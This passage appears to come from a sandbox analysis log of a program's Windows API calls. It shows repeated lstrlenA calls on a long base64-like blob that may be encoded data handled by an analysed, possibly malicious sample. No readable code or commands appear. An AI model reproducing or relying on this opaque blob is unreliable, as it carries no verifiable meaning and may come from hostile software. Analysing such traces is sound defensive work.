aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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